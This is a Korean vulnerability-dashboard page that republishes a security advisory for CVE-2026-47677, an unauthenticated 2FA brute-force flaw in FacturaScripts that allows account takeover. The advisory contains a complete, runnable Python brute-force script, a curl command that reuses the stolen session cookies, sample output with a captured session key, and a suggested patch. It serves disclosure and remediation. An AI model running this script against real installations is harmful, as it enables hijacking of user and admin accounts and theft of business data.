Kestrel
대시보드로 돌아가기
CVE-2026-47677CRITICALGHSA대응게시일: 2026. 07. 13.수정일: 2026. 07. 13.

FacturaScripts: Account takeover of any 2FA-enabled user

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection

Summary

Core/Controller/Login.php::twoFactorValidationAction() accepts an
unauthenticated POST containing only fsNick and fsTwoFactorCode. If the
TOTP value matches, the server issues a full fsNick + fsLogkey session
cookie pair. The handler:

  1. Does not verify the password — the user is not required to have just
    completed loginAction.
  2. Does not call validateFormToken() — no CSRF token is required (every
    other action handler in the same file does call it).
  3. Does not call userHasManyIncidents() before processingloginAction
    and changePasswordAction both check this guard before doing work; the
    2FA handler only writes to the incident list after a failure, and the
    incident list is consulted by loginAction / changePasswordAction but
    not by the 2FA handler itself. The endpoint therefore has no
    rate-limiting at all
    .

Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default
is 1), 17 distinct six-digit codes are valid simultaneously and each remains
valid for ~4 minutes. The expected number of guesses to land a valid code is

N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)

On a default LAMP install a single-laptop attacker sustains ~400 RPS from
one source IP — a few minutes per account.

The vulnerability gives complete account takeover of any 2FA-enabled
user to any unauthenticated network attacker who knows the target's nick.
Admin nicks are typically public information (admin, the company name,
the person's initials).

Severity

CVSS 4.0 base score: 9.3 — Critical

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

MetricValueRationale
Attack Vector (AV)Network (N)One HTTP POST over the public internet.
Attack Complexity (AC)Low (L)No timing, configuration, or environmental conditions.
Attack Requirements (AT)None (N)The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user.
Privileges Required (PR)None (N)The endpoint accepts the attack unauthenticated.
User Interaction (UI)None (N)No user action; the victim only has to have 2FA enabled.
Vulnerable Confidentiality (VC)High (H)Full read access as the hijacked user (admin → entire database).
Vulnerable Integrity (VI)High (H)Full write access as the hijacked user.
Vulnerable Availability (VA)Low (L)Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick.
Subsequent (SC / SI / SA)NoneNo second-system pivot from the bug itself.

Threat metrics:

  • Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.

Affected component

  • File: Core/Controller/Login.php
  • Method: twoFactorValidationAction() (lines 317–328 in the repository at commit 7392b489b, master branch as of 2026-05-13).
  • Related: Core/Lib/TwoFactorManager.php:30 (VERIFICATION_WINDOW = 8).

Vulnerable code:

bash
1protected function twoFactorValidationAction(Request $request): void
2{
3 $userName = $request->input('fsNick');
4 $user = new User();
5 if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
6 Tools::log()->warning('two-factor-code-invalid');
7 $this->saveIncident(Session::getClientIp(), $userName);
8 return;
9 }
10
11 $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
12}

Compare with loginAction in the same file, which calls
validateFormToken() (line 275) and userHasManyIncidents() (line 287)
before doing any work. The 2FA handler does neither.

Proof of concept

1. Brute force when only the victim's nick is known

This requires no prior
knowledge
beyond the target's nick. Because the 2FA endpoint has no
rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once,
random guessing finds a valid code in seconds to minutes from a single IP.

poc_2fa_brute.py:

python
1#!/usr/bin/env python3
2"""
3PoC: brute-force the 2FA endpoint.
4Required: pip install requests
5"""
6import os, sys, time, random, threading, requests
7
8BASE = os.environ.get("BASE", "http://localhost:9999")
9NICK = os.environ.get("NICK", "admin")
10THREADS = int(os.environ.get("THREADS", "32"))
11MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))
12
13hit = threading.Event()
14attempt_count = [0]
15lock = threading.Lock()
16start = time.time()
17result = {}
18
19def worker(tid: int) -> None:
20 s = requests.Session()
21 while not hit.is_set():
22 with lock:
23 n = attempt_count[0]
24 if n >= MAX_TRIES:
25 return
26 attempt_count[0] += 1
27 code = f"{random.randint(0, 999999):06d}"
28 try:
29 r = s.post(f"{BASE}/login",
30 data={"action": "two-factor-validation",
31 "fsNick": NICK,
32 "fsTwoFactorCode": code},
33 allow_redirects=False, timeout=5)
34 except requests.RequestException:
35 continue
36 sc = r.headers.get("Set-Cookie", "")
37 if r.status_code == 302 and "fsLogkey" in sc:
38 with lock:
39 if hit.is_set():
40 return
41 hit.set()
42 result["code"] = code
43 result["n"] = n
44 result["cookies"] = {c.name: c.value for c in r.cookies}
45 return
46
47def main() -> int:
48 print(f"[*] target={BASE} nick={NICK} threads={THREADS}")
49 threads = [threading.Thread(target=worker, args=(i,), daemon=True)
50 for i in range(THREADS)]
51 for t in threads: t.start()
52 while not hit.is_set() and attempt_count[0] < MAX_TRIES:
53 time.sleep(2)
54 elapsed = time.time() - start
55 print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} "
56 f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
57 for t in threads: t.join()
58 elapsed = time.time() - start
59 if hit.is_set():
60 print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
61 f"attempts in {elapsed:.1f}s")
62 cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
63 print(f"[+] Cookies: {cookie_hdr}")
64 print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser")
65 return 0
66 print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
67 return 1
68
69if __name__ == "__main__":
70 sys.exit(main())

Observed result against the same install (victim user has 2FA enabled,
attacker knows only the nick victim):

text
1[*] target=http://localhost:9999 nick=victim threads=32
2 [ 2.2s] attempts= 1094 rps= 493
3 [ 24.4s] attempts= 11535 rps= 473
4 [ 50.0s] attempts= 23420 rps= 468
5 [100.7s] attempts= 41247 rps= 410
6 [144.9s] attempts= 55418 rps= 383
7
8[+] FOUND code=055473 after 55,773 attempts in 146.0s
9[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN

A second run terminated in 24.6 s after 11 569 attempts. Both runs used a
single source IP with no proxy rotation, no HTTP/2, no parallel hosts.

Impact

For each 2FA-enabled user (including admins):

  • Confidentiality: full read access to anything the victim can see —
    invoices, customer data, suppliers, accounting ledgers, attached files,
    user PII, API keys, plugin configuration.
  • Integrity: full write access — create/modify/delete records, change
    permissions, issue new API keys, upload plugins, install code (admin).
  • Availability: targeted account lockout DoS — generating six failed
    2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident
    counter past MAX_INCIDENT_COUNT = 6, blocking the legitimate user from
    loginAction for 10 minutes. Repeatable indefinitely.

The vulnerability defeats the entire purpose of 2FA in FacturaScripts:
enabling 2FA on an account today is strictly weaker than not enabling
it, because it adds an unauthenticated, brute-forceable login path that
wasn't present before.

Remediation

Four independent fixes are required; each closes a distinct gap and any
one alone is insufficient.

  1. Require evidence the user just completed the password step. In
    loginAction, after verifyPassword succeeds and 2FA is required,
    write a short-lived nonce keyed by (client_ip, user_nick) to the
    shared cache (e.g. Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)). twoFactorValidationAction must read, validate, and
    delete that nonce before calling verifyTwoFactorCode. Without the
    nonce, return immediately.

  2. Call validateFormToken($request) at the top of
    twoFactorValidationAction.
    Every other action handler in the
    controller does this; the 2FA handler should too. Eliminates
    drive-by CSRF submissions.

  3. Call userHasManyIncidents(Session::getClientIp(), $userName)
    before doing any work in twoFactorValidationAction
    , and bail
    out if the threshold is exceeded. This is the missing rate-limit
    pre-check.

  4. Reduce TwoFactorManager::VERIFICATION_WINDOW from 8 to 1.
    The google2fa default is 1 (±30 s). A window of 8 multiplies the
    brute-force success rate by 17× for no legitimate reason — TOTP
    apps and the server clock are typically synchronised within a
    single 30-second step.

Suggested patch (illustrative):

bash
1// Core/Controller/Login.php
2protected function twoFactorValidationAction(Request $request): void
3{
4 if (false === $this->validateFormToken($request)) { // fix 2
5 return;
6 }
7 $userName = $request->input('fsNick');
8 if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3
9 Tools::log()->warning('ip-banned');
10 return;
11 }
12 $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
13 if (false === Cache::get($nonceKey)) { // fix 1
14 Tools::log()->warning('two-factor-no-pending-login');
15 $this->saveIncident(Session::getClientIp(), $userName);
16 return;
17 }
18 Cache::delete($nonceKey);
19
20 $user = new User();
21 if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
22 Tools::log()->warning('two-factor-code-invalid');
23 $this->saveIncident(Session::getClientIp(), $userName);
24 return;
25 }
26 $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
27}
28
29// Core/Lib/TwoFactorManager.php
30private const VERIFICATION_WINDOW = 1; // fix 4 — was 8

loginAction then needs the matching nonce write where it currently
sets $this->two_factor_user:

bash
1if ($user->two_factor_enabled) {
2 Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
3 bin2hex(random_bytes(16)), 300);
4 $this->two_factor_user = $user->nick;
5 $this->template = 'Login/TwoFactor.html.twig';
6 return;
7}

Reproduction

Tested on a clean install built from master at commit 7392b489b:

bash
1
2# brute force (only nick known) — secret on the server can be anything
3NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.